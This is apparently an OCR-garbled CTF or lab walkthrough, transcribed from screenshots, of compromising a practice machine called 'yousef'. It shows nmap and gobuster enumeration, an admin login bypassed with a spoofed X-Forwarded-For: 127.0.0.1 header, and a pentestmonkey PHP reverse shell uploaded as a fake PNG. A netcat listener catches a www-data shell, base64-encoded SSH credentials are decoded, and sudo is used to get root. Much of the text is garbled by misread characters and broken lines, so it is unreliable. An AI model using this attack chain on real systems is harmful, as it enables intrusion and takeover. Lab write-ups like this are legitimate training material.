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Sorry , the site is under construction soon, it run
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[:_ nmap 10.36.201.44
Starting Nmap 7.91 ( https://nmap.org ) at 2021-02-23 04:18 EST

Nmap scan report for 10.36.201.44

Host is up (0.00031s latency).

Not shown: 998 closed ports

PORT  STATE SERVICE VERSION

22/tcp open ssh OpenSSH 6.6.1pl Ubuntu 2ubuntu2.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:

| 1024 d8:e0:99:8c:76:11:86:a3:ce:09:c8:19:a4:1d:c7:el (DSA)

| 2048 82:b0:20:bc:04:ea:3f:c2:cf:73:c3:d4:fa:b5:4b:47 (RSA)

| 256 03:4d:b0:70:4d:cf:5a:4a:87:c3:a5:ee:84:cc:aa:cc (ECDSA)

| 256 64:cd:d@:af:6e:0d:20:13:01:96:3b:8d:16:3a:d6:1b (ED25519)

80/tcp open http Apache httpd 2.4.10 ((Ubuntu))

| http-server-header: Apache/2.4.10 (Ubuntu)

| http-title: Site doesn't have a title (text/html).

Service Info: 0S: Linux; CPE: cpe:/o:linux:linux kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/
Nmap done: 1 IP address (1 host up) scanned in 13.69 seconds i an_logan
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gobuster dir -u http://10.36.201.44/ -w /soft/SecLists-master/Discovery/Web-Content/raft-large-directories-lower
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http://10.36.201.44/ /soft/SecLists-master/Discovery/Web-Content/raft-large-directories-lowercase.txt

Gobuster v3.0.1
by 0J Reeves (@TheC

url:

Threads:

Wordlist: /soft/SecLists-master/Discovery/Web-Content/raft-large-directories-lowercase.txt
Status codes:  200,204,301,302,307,401,403

User Agent: gobuster/3.0.1

Timeout 10s

/server-status (Status: 403)
[ERROR] 2021/02/23 04:22:28 [!] parse http://10.36.201.44/error log: net/url: invalid control character in URL
Jadminstration (Status: 301)

1/02/23 04:22:32 Finished
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Forbidden

You don't have permission to access on this folder
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Y Morzilla Firefox

10.36.201.44/adminstration X
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Kali Linux Kali Training Kali Tools = K NetHunter f| Offensive Security Exploit-DB GHDB || MSFU IP Address:
127.0.0..
Recently used IPs:

Send the following headers:

ur username with anyone else. & x-Forwarded-For
X-Originating-1P
X-Remote-IP

Password

Password X-Remote-Addr
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Username

Enter username

Password

Password
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Welcome admin Hello he site is under construction

Dashboard
Users
Upload file

Log out
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Upload File

Dashboard

Your document | Browse..
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Done

POST /adminst ration/uploads HTTP/1.1

Host: 10.35.20L.44

User-Agent i Mozilla/S.0 (¥11; Linux x85_64; rvi78,0) Gecko/20100101 Firefox/78,0
Accept: text/htnl,application/xhtnl+xnl application/xnl;g=0.9, inage/webp, #/+;4=0.8
Accept-Language: en-US,en:g=0.5

Accept-Encoding: gzip, deflate

Content-Type: multipart,form-data;

boundary=- --
Content-Length: 5833

Origin: httpi//10.36.201.44
Connection: close

Referer; httpi//10,36.201,44/adninst ration/upload/
Cookie: PHPSESSID=hcnhnSb7etkrhkr3byfluzsva

428122717121 53652905826003753

Upgrade-Insecure-Requests: 1
127.0.0.1

X-Forwarded-For:

- --42512271712153652905826003753

7 Content-Disposition: forn-data; name="document"; filenane="logan.phpl'

Content-Type: image/png
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php-reverse-shell - A Reverse shell implementation in PHP
Copyright (C) 2007 pentestmonkey@pentestnonkey. net

’

This tool may be used for legal purpeses only
for any actions performed using this tool.
for damage caused by this tool
do not use this tool

Users take full responsibility
The suther accepts no liability
If these terns are not acceptable to you, then

U
In all other respects the GPL version 2 applies:
U

This progran is free software; you can redistribute it and/or modify
it under the terns of the GNU General Public License version 2 as
published by the Free Software Foundation.

This progran is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY: without even the inplied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE, See the
GNU General Public License for more details

You should have received a copy of the GNU General Public License along
with this program; if not, write to the Free Software Foundation, Inc.,
S1 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
This tool mav be used for leaal purposes onlv. Users take full responsibilitv

0 matches

1 HTTP/1.1 200 OK

2 Date: Tue, 23 Feb 2021 09:40:33 GMT

S Server: Apache/2,4,10 (Ubuntu)

4 X-Powered-By: PHP/S.S5.9-lubuntud. 29

S Expires: Thu, 19 Nov 1981 G8:52:00 GHT

& Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
7 Pragma: no-cache

& Vary: Accept-Encoding

S Content-Length: 3024

1

HOLDIdSNI

10 Connection: close
11 Content-Type: text/html
15 file uploadad files/16140732531ogan . php<!DOCTYPE htal>
14 <htnl Llang="en"
15 <head-
16
<neta utf-g'>
<meta name="viewport' content="width-device-width, initial-scale-1, shrink-to-fi
<neta name="description” content='"»
<meta name="author” content="">
<titles
adnin panel
</title>

Bootstrap core CSS --

Custon styles for this template -->
<link href="/adninst ration/bootstrap/css/style,css" rel="stylesheet'>

</head>
<body>

<div class="d-flex" id="wrapper"s
<i-- Sidebar --»
<div €lass="bg-light border-right" id="sidebar-wrapper’>
<div_class="sidebar-heading nt-5 mb-5">
welcone adnin

<link href="/adninstration/bootstrap/css/bootstrap. min.css" rel="stylesheet'>

«fdivs>
<div class="list-group list-group-flush'>
http://10.36.201.44/adninstration/dashborad” class="1list-group-it
0 http://10.36.201. 44/adminstration/users” class="list-group-item 1
41 http://10.36,201,44/adninstration/upload" class="list-group-item
&R 0 mathes
sbytes| Lmillis
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by 0J Reeves

url

Threads:
Wordlist:
Status codes:
User Agent:
Timeout:

http://10.36.201.44/
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200,204,301,302,307,401,4603
gobuster/3.0.1

10s

2021/02/23 04:22:25 Starting gobuster

/server-status (Status: 403)
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Kali Tools =

Kali Linux Kali Training Kali Docs

/soft/SecLists-master/Discovery/Web-Content/1 WARNING: Failed to daemonise. This is quite common and not fatal. Connection refused (111)

[ERROR] 2021/02/23 04:22:28 [!] parse http://10.36.201.44/error |

Jadminstration (Status: 301)

5656

command not found: nx

5656
listening on [any] 5656

10.36.201.44: inverse host lookup failed: Unknown hos

connect to [10.36.201.100] from (UNKNOWN)

Linux yousef-VirtualBox 3.
12:43:28 up 31 min,

TTY FROM

data) gid=33

0 users,

LOGIN@ IDLE

JC
(www-data) groups=33(www-data)

can't access tty; job control turned off

[10.36.201.44] 53006
13.0-24-generic #46-Ubuntu
load average: 0.00, 0/01, 0.5

U PCPU Wt

MP Thu Apr

Kali Forums

Mozilla Firefox
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File Actions Edit View Help

B kali@kali: ~
File Actions Edit View Help

2021/02/23 04:22:25 Starting gobuster
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/server-status (Status: 403)
[ERROR] 2021/62/23 04:22:28 [!] parse http://: ( prely
/adminstration (Status: 301) ’jw

hash.txt logan.jpg logan.php.gif
2021/02/23 04:22:32 Finished

( )= [~1]
’: mv logan.jpg logan.png

( )=(=]
Cs echo "c3NoIDogCnVzZXIg0iB5b3VzZWYgCnBhc3Mg0iB5b3VzZWYxMjM="
ssh :
user : yousef
pass : yousefl23

)-[~] ( )-[~]
5656 (]

zsh: command not found: nx

( )-[-~1
’j nc 5656
listening on [any] 5656 ...
10.36.201.44: inverse host lookup failed: Unki
connect to [10.36.201.100] from (UNKNOWN) [16
Linux yousef-VirtualBox 3.13.0-24-generic #46
12:43:28 up 31 min, 0 users, load average:
USER TTY FROM LOGINg II
uid=33(www-data) gid=33(www-data) groups=33(w
/bin/sh: 0: can't access tty; job control tur
$ id
uid=33(www-data) gid=33(www-data) groups=33(w

¢ cat user.txt
c3NoIDogCnVzZXIg0iB5b3VzZWYgCnBhc3Mg0iB5h3Vz httos: /A " . §
EXi ttps:/iblog.csdn.netlogan_logan
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55 yousef@l0.36.201.44
The authenticity of host '10.36.201.44 (10.36.201.44)' can't be established.
ECDSA key fingerprint is SHA256:T0idhbCWOndKy9buudAoU6j2htrU6oWN98swa5BVX2g.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.36.201.44"' (ECDSA) to the list of known hosts.
yousef@l0.36.201.44's password:
Welcome to Ubuntu 14.04 LTS (GNU/Linux 3.13.0-24-generic i686)

* Documentation: https://help.ubuntu.com/

778 packages can be updated.
482 updates are security updates.

Last login: Sat Feb 20 09:43:49 2021 from 10.36.201.100
yousef@yousef-VirtualBox:~3% I hitps://blog.csdn.netlogan_logan

113880, i Hsudo -lar 4 K ILRE Lhroot B 47y 1217 A a2, sudo su root B V) #: 2 root & 17 ;

root@yousef-VirtualBox:/home/yousef# su yousef
yousef@yousef-VirtualBox:~% sudo -1
Matching Defaults entries for yousef on yousef-VirtualBox:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User yousef may run the following commands on yousef-VirtualBox:
(ALL : ALL) ALL

yousef@yousef-VirtualBox:~$ sudo su root

root@yousef-VirtualBox:/home/yousef# id

uid=0(root) gid=0(root) groups=0(root)

root@yousef-VirtualBox:/home/yousef# |

https://blog.csdn.net/logan_logan
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